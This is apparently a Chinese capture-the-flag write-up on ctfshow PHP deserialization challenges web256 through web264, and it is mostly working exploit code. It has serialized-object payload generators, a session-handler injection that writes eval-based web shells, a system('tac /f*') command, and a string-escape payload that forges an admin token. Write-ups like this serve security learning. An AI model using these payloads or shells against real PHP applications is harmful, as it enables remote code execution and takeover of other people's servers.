首先紧接着上周把没有写完的部分写掉
web256
在上题的基础上需要$username不等于$password,生成payload的脚本如下:
<?php
class ctfShowUser{
public $username;
public $isVip;
public function __construct(){
$this->isVip=true;
$this->username='aaa';
}
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
payload:
在GET处
?username=aaa&password=xxxxxx
在cookie处
user=O%3A11%3A%22ctfShowUser%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A3%3A%22aaa%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
web261
tip:如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法, 则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。
所以直接不用理__wakeup(),在来个弱比较877==0x36d就好了。这里不知道为什么,不对反序列化后的结果url编码生成不了。
<?php
class ctfshowvip{
public $username;
public $password;
public function __construct(){
$this->username='877.php';
$this->password='<?php eval($_GET[1]);?>';
}
}
$a=new ctfshowvip();
echo urlencode(serialize($a));
访问877.php,然后?1=system('tac /f*');
web263
难点:一开始什么也没有,看到框就想注入(bushi)。看看有什么特殊的文件,发现了www.zip,下载下来进行一个审计。
ini_set('session.serialize_handler', 'php');
//下面这一段更是可控
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
接着找一找有没有可控的session,在index.php下发现:
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
又发现check.php调用了inc.php
require_once 'inc/inc.php';
接着我们就有了思路,构造一段payload,然后将这个payload作为cookie传入到session,再访问check.php时自动将session解码反序列化,成功赋值,最后访问生成的文件,执行rce。
<?php
class User{
public $username;
public $password;
function __construct(){
$this->username = "10.php";
$this->password = '<?php eval($_POST[0]);?>';
}
}
echo base64_encode("|".serialize(new User()));
web264
具体的可以参考下web262,但这个题略难一些,用的是$_SESSION,原来是$_COOKIE,所以我们不能直接修改cookie了。
直接把原来262的值传过去就可以了
f=1&m=1&t=1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck%22;s:5:%22token%22;s:5:%22admin%22;}
if(isset($_COOKIE['msg'])){
xxxx
}
所以还得随便传个cookie msg=1